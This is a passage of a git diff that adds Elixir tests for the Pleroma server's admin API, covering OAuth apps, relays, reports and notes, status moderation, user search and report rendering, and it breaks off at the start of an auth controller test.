do + use Pleroma.Web.ConnCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.Web + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "POST /api/pleroma/admin/oauth_app" do + test "errors", %{conn: conn} do + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{}) + |> json_response_and_validate_schema(400) + + assert %{ + "error" => "Missing field: name. Missing field: redirect_uris." + } = response + end + + test "success", %{conn: conn} do + base_url = Web.base_url() + app_name = "Trusted app" + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{ + name: app_name, + redirect_uris: base_url + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "name" => ^app_name, + "redirect_uri" => ^base_url, + "trusted" => false + } = response + end + + test "with trusted", %{conn: conn} do + base_url = Web.base_url() + app_name = "Trusted app" + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{ + name: app_name, + redirect_uris: base_url, + trusted: true + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "name" => ^app_name, + "redirect_uri" => ^base_url, + "trusted" => true + } = response + end + end + + describe "GET /api/pleroma/admin/oauth_app" do + setup do + app = insert(:oauth_app) + {:ok, app: app} + end + + test "list", %{conn: conn} do + response = + conn + |> get("/api/pleroma/admin/oauth_app") + |> json_response_and_validate_schema(200) + + assert %{"apps" => apps, "count" => count, "page_size" => _} = response + + assert length(apps) == count + end + + test "with page size", %{conn: conn} do + insert(:oauth_app) + page_size = 1 + + response = + conn + |> get("/api/pleroma/admin/oauth_app?page_size=#{page_size}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => apps, "count" => _, "page_size" => ^page_size} = response + + assert length(apps) == page_size + end + + test "search by client name", %{conn: conn, app: app} do + response = + conn + |> get("/api/pleroma/admin/oauth_app?name=#{app.client_name}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + + test "search by client id", %{conn: conn, app: app} do + response = + conn + |> get("/api/pleroma/admin/oauth_app?client_id=#{app.client_id}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + + test "only trusted", %{conn: conn} do + app = insert(:oauth_app, trusted: true) + + response = + conn + |> get("/api/pleroma/admin/oauth_app?trusted=true") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + end + + describe "DELETE /api/pleroma/admin/oauth_app/:id" do + test "with id", %{conn: conn} do + app = insert(:oauth_app) + + response = + conn + |> delete("/api/pleroma/admin/oauth_app/" <> to_string(app.id)) + |> json_response_and_validate_schema(:no_content) + + assert response == "" + end + + test "with non existance id", %{conn: conn} do + response = + conn + |> delete("/api/pleroma/admin/oauth_app/0") + |> json_response_and_validate_schema(:bad_request) + + assert response == "" + end + end + + describe "PATCH /api/pleroma/admin/oauth_app/:id" do + test "with id", %{conn: conn} do + app = insert(:oauth_app) + + name = "another name" + url = "https://example.com" + scopes = ["admin"] + id = app.id + website = "http://website.com" + + response = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/oauth_app/#{id}", %{ + name: name, + trusted: true, + redirect_uris: url, + scopes: scopes, + website: website + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "id" => ^id, + "name" => ^name, + "redirect_uri" => ^url, + "trusted" => true, + "website" => ^website + } = response + end + + test "without id", %{conn: conn} do + response = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/oauth_app/0") + |> json_response_and_validate_schema(:bad_request) + + assert response == "" + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/relay_controller_test.exs b/test/pleroma/web/admin_api/controllers/relay_controller_test.exs new file mode 100644 index 000000000..adadf2b5c --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/relay_controller_test.exs @@ -0,0 +1,99 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.RelayControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.ModerationLog + alias Pleroma.Repo + alias Pleroma.User + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + + :ok + end + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "relays" do + test "POST /relay", %{conn: conn, admin: admin} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/relay", %{ + relay_url: "http://mastodon.example.org/users/admin" + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "actor" => "http://mastodon.example.org/users/admin", + "followed_back" => false + } + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} followed relay: http://mastodon.example.org/users/admin" + end + + test "GET /relay", %{conn: conn} do + relay_user = Pleroma.Web.ActivityPub.Relay.get_actor() + + ["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"] + |> Enum.each(fn ap_id -> + {:ok, user} = User.get_or_fetch_by_ap_id(ap_id) + User.follow(relay_user, user) + end) + + conn = get(conn, "/api/pleroma/admin/relay") + + assert json_response_and_validate_schema(conn, 200)["relays"] == [ + %{ + "actor" => "http://mastodon.example.org/users/admin", + "followed_back" => true + }, + %{"actor" => "https://mstdn.io/users/mayuutann", "followed_back" => true} + ] + end + + test "DELETE /relay", %{conn: conn, admin: admin} do + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/relay", %{ + relay_url: "http://mastodon.example.org/users/admin" + }) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/relay", %{ + relay_url: "http://mastodon.example.org/users/admin" + }) + + assert json_response_and_validate_schema(conn, 200) == + "http://mastodon.example.org/users/admin" + + [log_entry_one, log_entry_two] = Repo.all(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry_one) == + "@#{admin.nickname} followed relay: http://mastodon.example.org/users/admin" + + assert ModerationLog.get_log_entry_message(log_entry_two) == + "@#{admin.nickname} unfollowed relay: http://mastodon.example.org/users/admin" + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/report_controller_test.exs b/test/pleroma/web/admin_api/controllers/report_controller_test.exs new file mode 100644 index 000000000..57946e6bb --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/report_controller_test.exs @@ -0,0 +1,372 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ReportControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.ModerationLog + alias Pleroma.Repo + alias Pleroma.ReportNote + alias Pleroma.Web.CommonAPI + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/reports/:id" do + test "returns report by its id", %{conn: conn} do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + response = + conn + |> get("/api/pleroma/admin/reports/#{report_id}") + |> json_response_and_validate_schema(:ok) + + assert response["id"] == report_id + end + + test "returns 404 when report id is invalid", %{conn: conn} do + conn = get(conn, "/api/pleroma/admin/reports/test") + + assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} + end + end + + describe "PATCH /api/pleroma/admin/reports" do + setup do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + {:ok, %{id: second_report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel very offended", + status_ids: [activity.id] + }) + + %{ + id: report_id, + second_report_id: second_report_id + } + end + + test "requires admin:write:reports scope", %{conn: conn, id: id, admin: admin} do + read_token = insert(:oauth_token, user: admin, scopes: ["admin:read"]) + write_token = insert(:oauth_token, user: admin, scopes: ["admin:write:reports"]) + + response = + conn + |> assign(:token, read_token) + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [%{"state" => "resolved", "id" => id}] + }) + |> json_response_and_validate_schema(403) + + assert response == %{ + "error" => "Insufficient permissions: admin:write:reports." + } + + conn + |> assign(:token, write_token) + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [%{"state" => "resolved", "id" => id}] + }) + |> json_response_and_validate_schema(:no_content) + end + + test "mark report as resolved", %{conn: conn, id: id, admin: admin} do + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [ + %{"state" => "resolved", "id" => id} + ] + }) + |> json_response_and_validate_schema(:no_content) + + activity = Activity.get_by_id(id) + assert activity.data["state"] == "resolved" + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} updated report ##{id} with 'resolved' state" + end + + test "closes report", %{conn: conn, id: id, admin: admin} do + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [ + %{"state" => "closed", "id" => id} + ] + }) + |> json_response_and_validate_schema(:no_content) + + activity = Activity.get_by_id(id) + assert activity.data["state"] == "closed" + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} updated report ##{id} with 'closed' state" + end + + test "returns 400 when state is unknown", %{conn: conn, id: id} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [ + %{"state" => "test", "id" => id} + ] + }) + + assert "Unsupported state" = + hd(json_response_and_validate_schema(conn, :bad_request))["error"] + end + + test "returns 404 when report is not exist", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [ + %{"state" => "closed", "id" => "test"} + ] + }) + + assert hd(json_response_and_validate_schema(conn, :bad_request))["error"] == "not_found" + end + + test "updates state of multiple reports", %{ + conn: conn, + id: id, + admin: admin, + second_report_id: second_report_id + } do + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [ + %{"state" => "resolved", "id" => id}, + %{"state" => "closed", "id" => second_report_id} + ] + }) + |> json_response_and_validate_schema(:no_content) + + activity = Activity.get_by_id(id) + second_activity = Activity.get_by_id(second_report_id) + assert activity.data["state"] == "resolved" + assert second_activity.data["state"] == "closed" + + [first_log_entry, second_log_entry] = Repo.all(ModerationLog) + + assert ModerationLog.get_log_entry_message(first_log_entry) == + "@#{admin.nickname} updated report ##{id} with 'resolved' state" + + assert ModerationLog.get_log_entry_message(second_log_entry) == + "@#{admin.nickname} updated report ##{second_report_id} with 'closed' state" + end + end + + describe "GET /api/pleroma/admin/reports" do + test "returns empty response when no reports created", %{conn: conn} do + response = + conn + |> get(report_path(conn, :index)) + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response["reports"]) + assert response["total"] == 0 + end + + test "returns reports", %{conn: conn} do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + response = + conn + |> get(report_path(conn, :index)) + |> json_response_and_validate_schema(:ok) + + [report] = response["reports"] + + assert length(response["reports"]) == 1 + assert report["id"] == report_id + + assert response["total"] == 1 + end + + test "returns reports with specified state", %{conn: conn} do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %{id: first_report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + {:ok, %{id: second_report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I don't like this user" + }) + + CommonAPI.update_report_state(second_report_id, "closed") + + response = + conn + |> get(report_path(conn, :index, %{state: "open"})) + |> json_response_and_validate_schema(:ok) + + assert [open_report] = response["reports"] + + assert length(response["reports"]) == 1 + assert open_report["id"] == first_report_id + + assert response["total"] == 1 + + response = + conn + |> get(report_path(conn, :index, %{state: "closed"})) + |> json_response_and_validate_schema(:ok) + + assert [closed_report] = response["reports"] + + assert length(response["reports"]) == 1 + assert closed_report["id"] == second_report_id + + assert response["total"] == 1 + + assert %{"total" => 0, "reports" => []} == + conn + |> get(report_path(conn, :index, %{state: "resolved"})) + |> json_response_and_validate_schema(:ok) + end + + test "returns 403 when requested by a non-admin" do + user = insert(:user) + token = insert(:oauth_token, user: user) + + conn = + build_conn() + |> assign(:user, user) + |> assign(:token, token) + |> get("/api/pleroma/admin/reports") + + assert json_response(conn, :forbidden) == + %{"error" => "User is not an admin."} + end + + test "returns 403 when requested by anonymous" do + conn = get(build_conn(), "/api/pleroma/admin/reports") + + assert json_response(conn, :forbidden) == %{ + "error" => "Invalid credentials." + } + end + end + + describe "POST /api/pleroma/admin/reports/:id/notes" do + setup %{conn: conn, admin: admin} do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/reports/#{report_id}/notes", %{ + content: "this is disgusting!" + }) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/reports/#{report_id}/notes", %{ + content: "this is disgusting2!" + }) + + %{ + admin_id: admin.id, + report_id: report_id + } + end + + test "it creates report note", %{admin_id: admin_id, report_id: report_id} do + assert [note, _] = Repo.all(ReportNote) + + assert %{ + activity_id: ^report_id, + content: "this is disgusting!", + user_id: ^admin_id + } = note + end + + test "it returns reports with notes", %{conn: conn, admin: admin} do + conn = get(conn, "/api/pleroma/admin/reports") + + response = json_response_and_validate_schema(conn, 200) + notes = hd(response["reports"])["notes"] + [note, _] = notes + + assert note["user"]["nickname"] == admin.nickname + assert note["content"] == "this is disgusting!" + assert note["created_at"] + assert response["total"] == 1 + end + + test "it deletes the note", %{conn: conn, report_id: report_id} do + assert ReportNote |> Repo.all() |> length() == 2 + assert [note, _] = Repo.all(ReportNote) + + delete(conn, "/api/pleroma/admin/reports/#{report_id}/notes/#{note.id}") + + assert ReportNote |> Repo.all() |> length() == 1 + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/status_controller_test.exs b/test/pleroma/web/admin_api/controllers/status_controller_test.exs new file mode 100644 index 000000000..eff78fb0a --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/status_controller_test.exs @@ -0,0 +1,202 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.StatusControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.ModerationLog + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/statuses/:id" do + test "not found", %{conn: conn} do + assert conn + |> get("/api/pleroma/admin/statuses/not_found") + |> json_response_and_validate_schema(:not_found) + end + + test "shows activity", %{conn: conn} do + activity = insert(:note_activity) + + response = + conn + |> get("/api/pleroma/admin/statuses/#{activity.id}") + |> json_response_and_validate_schema(200) + + assert response["id"] == activity.id + + account = response["account"] + actor = User.get_by_ap_id(activity.actor) + + assert account["id"] == actor.id + assert account["nickname"] == actor.nickname + assert account["deactivated"] == actor.deactivated + assert account["confirmation_pending"] == actor.confirmation_pending + end + end + + describe "PUT /api/pleroma/admin/statuses/:id" do + setup do + activity = insert(:note_activity) + + %{id: activity.id} + end + + test "toggle sensitive flag", %{conn: conn, id: id, admin: admin} do + response = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "true"}) + |> json_response_and_validate_schema(:ok) + + assert response["sensitive"] + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} updated status ##{id}, set sensitive: 'true'" + + response = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "false"}) + |> json_response_and_validate_schema(:ok) + + refute response["sensitive"] + end + + test "change visibility flag", %{conn: conn, id: id, admin: admin} do + response = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "public"}) + |> json_response_and_validate_schema(:ok) + + assert response["visibility"] == "public" + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} updated status ##{id}, set visibility: 'public'" + + response = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "private"}) + |> json_response_and_validate_schema(:ok) + + assert response["visibility"] == "private" + + response = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "unlisted"}) + |> json_response_and_validate_schema(:ok) + + assert response["visibility"] == "unlisted" + end + + test "returns 400 when visibility is unknown", %{conn: conn, id: id} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "test"}) + + assert %{"error" => "test - Invalid value for enum."} = + json_response_and_validate_schema(conn, :bad_request) + end + end + + describe "DELETE /api/pleroma/admin/statuses/:id" do + setup do + activity = insert(:note_activity) + + %{id: activity.id} + end + + test "deletes status", %{conn: conn, id: id, admin: admin} do + conn + |> delete("/api/pleroma/admin/statuses/#{id}") + |> json_response_and_validate_schema(:ok) + + refute Activity.get_by_id(id) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deleted status ##{id}" + end + + test "returns 404 when the status does not exist", %{conn: conn} do + conn = delete(conn, "/api/pleroma/admin/statuses/test") + + assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} + end + end + + describe "GET /api/pleroma/admin/statuses" do + test "returns all public and unlisted statuses", %{conn: conn, admin: admin} do + blocked = insert(:user) + user = insert(:user) + User.block(admin, blocked) + + {:ok, _} = CommonAPI.post(user, %{status: "@#{admin.nickname}", visibility: "direct"}) + + {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) + {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "private"}) + {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + {:ok, _} = CommonAPI.post(blocked, %{status: ".", visibility: "public"}) + + response = + conn + |> get("/api/pleroma/admin/statuses") + |> json_response_and_validate_schema(200) + + refute "private" in Enum.map(response, & &1["visibility"]) + assert length(response) == 3 + end + + test "returns only local statuses with local_only on", %{conn: conn} do + user = insert(:user) + remote_user = insert(:user, local: false, nickname: "archaeme@archae.me") + insert(:note_activity, user: user, local: true) + insert(:note_activity, user: remote_user, local: false) + + response = + conn + |> get("/api/pleroma/admin/statuses?local_only=true") + |> json_response_and_validate_schema(200) + + assert length(response) == 1 + end + + test "returns private and direct statuses with godmode on", %{conn: conn, admin: admin} do + user = insert(:user) + + {:ok, _} = CommonAPI.post(user, %{status: "@#{admin.nickname}", visibility: "direct"}) + + {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "private"}) + {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + conn = get(conn, "/api/pleroma/admin/statuses?godmode=true") + assert json_response_and_validate_schema(conn, 200) |> length() == 3 + end + end +end diff --git a/test/pleroma/web/admin_api/search_test.exs b/test/pleroma/web/admin_api/search_test.exs new file mode 100644 index 000000000..d88867c52 --- /dev/null +++ b/test/pleroma/web/admin_api/search_test.exs @@ -0,0 +1,190 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.SearchTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.AdminAPI.Search + + import Pleroma.Factory + + describe "search for admin" do + test "it ignores case" do + insert(:user, nickname: "papercoach") + insert(:user, nickname: "CanadaPaperCoach") + + {:ok, _results, count} = + Search.user(%{ + query: "paper", + local: false, + page: 1, + page_size: 50 + }) + + assert count == 2 + end + + test "it returns local/external users" do + insert(:user, local: true) + insert(:user, local: false) + insert(:user, local: false) + + {:ok, _results, local_count} = + Search.user(%{ + query: "", + local: true + }) + + {:ok, _results, external_count} = + Search.user(%{ + query: "", + external: true + }) + + assert local_count == 1 + assert external_count == 2 + end + + test "it returns active/deactivated users" do + insert(:user, deactivated: true) + insert(:user, deactivated: true) + insert(:user, deactivated: false) + + {:ok, _results, active_count} = + Search.user(%{ + query: "", + active: true + }) + + {:ok, _results, deactivated_count} = + Search.user(%{ + query: "", + deactivated: true + }) + + assert active_count == 1 + assert deactivated_count == 2 + end + + test "it returns specific user" do + insert(:user) + insert(:user) + user = insert(:user, nickname: "bob", local: true, deactivated: false) + + {:ok, _results, total_count} = Search.user(%{query: ""}) + + {:ok, [^user], count} = + Search.user(%{ + query: "Bo", + active: true, + local: true + }) + + assert total_count == 3 + assert count == 1 + end + + test "it returns user by domain" do + insert(:user) + insert(:user) + user = insert(:user, nickname: "some@domain.com") + + {:ok, _results, total} = Search.user() + {:ok, [^user], count} = Search.user(%{query: "domain.com"}) + assert total == 3 + assert count == 1 + end + + test "it return user by full nickname" do + insert(:user) + insert(:user) + user = insert(:user, nickname: "some@domain.com") + + {:ok, _results, total} = Search.user() + {:ok, [^user], count} = Search.user(%{query: "some@domain.com"}) + assert total == 3 + assert count == 1 + end + + test "it returns admin user" do + admin = insert(:user, is_admin: true) + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, [^admin], count} = Search.user(%{is_admin: true}) + assert total == 3 + assert count == 1 + end + + test "it returns moderator user" do + moderator = insert(:user, is_moderator: true) + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, [^moderator], count} = Search.user(%{is_moderator: true}) + assert total == 3 + assert count == 1 + end + + test "it returns users with tags" do + user1 = insert(:user, tags: ["first"]) + user2 = insert(:user, tags: ["second"]) + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, users, count} = Search.user(%{tags: ["first", "second"]}) + assert total == 4 + assert count == 2 + assert user1 in users + assert user2 in users + end + + test "it returns user by display name" do + user = insert(:user, name: "Display name") + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, [^user], count} = Search.user(%{name: "display"}) + + assert total == 3 + assert count == 1 + end + + test "it returns user by email" do + user = insert(:user, email: "some@example.com") + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, [^user], count} = Search.user(%{email: "some@example.com"}) + + assert total == 3 + assert count == 1 + end + + test "it returns unapproved user" do + unapproved = insert(:user, approval_pending: true) + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, [^unapproved], count} = Search.user(%{need_approval: true}) + assert total == 3 + assert count == 1 + end + + test "it returns non-discoverable users" do + insert(:user) + insert(:user, discoverable: false) + + {:ok, _results, total} = Search.user() + + assert total == 2 + end + end +end diff --git a/test/pleroma/web/admin_api/views/report_view_test.exs b/test/pleroma/web/admin_api/views/report_view_test.exs new file mode 100644 index 000000000..5a02292be --- /dev/null +++ b/test/pleroma/web/admin_api/views/report_view_test.exs @@ -0,0 +1,146 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ReportViewTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Web.AdminAPI + alias Pleroma.Web.AdminAPI.Report + alias Pleroma.Web.AdminAPI.ReportView + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI + alias Pleroma.Web.MastodonAPI.StatusView + + test "renders a report" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.report(user, %{account_id: other_user.id}) + + expected = %{ + content: nil, + actor: + Map.merge( + MastodonAPI.AccountView.render("show.json", %{user: user, skip_visibility_check: true}), + AdminAPI.AccountView.render("show.json", %{user: user}) + ), + account: + Map.merge( + MastodonAPI.AccountView.render("show.json", %{ + user: other_user, + skip_visibility_check: true + }), + AdminAPI.AccountView.render("show.json", %{user: other_user}) + ), + statuses: [], + notes: [], + state: "open", + id: activity.id + } + + result = + ReportView.render("show.json", Report.extract_report_info(activity)) + |> Map.delete(:created_at) + + assert result == expected + end + + test "includes reported statuses" do + user = insert(:user) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "toot"}) + + {:ok, report_activity} = + CommonAPI.report(user, %{account_id: other_user.id, status_ids: [activity.id]}) + + other_user = Pleroma.User.get_by_id(other_user.id) + + expected = %{ + content: nil, + actor: + Map.merge( + MastodonAPI.AccountView.render("show.json", %{user: user, skip_visibility_check: true}), + AdminAPI.AccountView.render("show.json", %{user: user}) + ), + account: + Map.merge( + MastodonAPI.AccountView.render("show.json", %{ + user: other_user, + skip_visibility_check: true + }), + AdminAPI.AccountView.render("show.json", %{user: other_user}) + ), + statuses: [StatusView.render("show.json", %{activity: activity})], + state: "open", + notes: [], + id: report_activity.id + } + + result = + ReportView.render("show.json", Report.extract_report_info(report_activity)) + |> Map.delete(:created_at) + + assert result == expected + end + + test "renders report's state" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.report(user, %{account_id: other_user.id}) + {:ok, activity} = CommonAPI.update_report_state(activity.id, "closed") + + assert %{state: "closed"} = + ReportView.render("show.json", Report.extract_report_info(activity)) + end + + test "renders report description" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.report(user, %{ + account_id: other_user.id, + comment: "posts are too good for this instance" + }) + + assert %{content: "posts are too good for this instance"} = + ReportView.render("show.json", Report.extract_report_info(activity)) + end + + test "sanitizes report description" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.report(user, %{ + account_id: other_user.id, + comment: "" + }) + + data = Map.put(activity.data, "content", "") + activity = Map.put(activity, :data, data) + + refute "" == + ReportView.render("show.json", Report.extract_report_info(activity))[:content] + end + + test "doesn't error out when the user doesn't exists" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.report(user, %{ + account_id: other_user.id, + comment: "" + }) + + Pleroma.User.delete(other_user) + Pleroma.User.invalidate_cache(other_user) + + assert %{} = ReportView.render("show.json", Report.extract_report_info(activity)) + end +end diff --git a/test/pleroma/web/api_spec/schema_examples_test.exs b/test/pleroma/web/api_spec/schema_examples_test.exs new file mode 100644 index 000000000..f00e834fc --- /dev/null +++ b/test/pleroma/web/api_spec/schema_examples_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ApiSpec.SchemaExamplesTest do + use ExUnit.Case, async: true + import Pleroma.Tests.ApiSpecHelpers + + @content_type "application/json" + + for operation <- api_operations() do + describe operation.operationId <> " Request Body" do + if operation.requestBody do + @media_type operation.requestBody.content[@content_type] + @schema resolve_schema(@media_type.schema) + + if @media_type.example do + test "request body media type example matches schema" do + assert_schema(@media_type.example, @schema) + end + end + + if @schema.example do + test "request body schema example matches schema" do + assert_schema(@schema.example, @schema) + end + end + end + end + + for {status, response} <- operation.responses, is_map(response.content[@content_type]) do + describe "#{operation.operationId} - #{status} Response" do + @schema resolve_schema(response.content[@content_type].schema) + + if @schema.example do + test "example matches schema" do + assert_schema(@schema.example, @schema) + end + end + end + end + end +end diff --git a/test/pleroma/web/auth/auth_controller_test.exs b/test/pleroma/web/auth/auth_controller_test.exs new file mode 100644 index 000000000..498554060 --- /dev/null +++ b/test/pleroma/web/auth/auth_controller_test.exs @@ -0,0 +1,242 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Auth.AuthControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + describe "do_oauth_check" do + test "serves with proper OAuth token (fulfilling requested scopes)" do + %{conn: good_token_conn, user: user} = oauth_access(["read"]) + + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/authenticated_api/do_oauth_check") + |> json_response(200) + + # Unintended usage 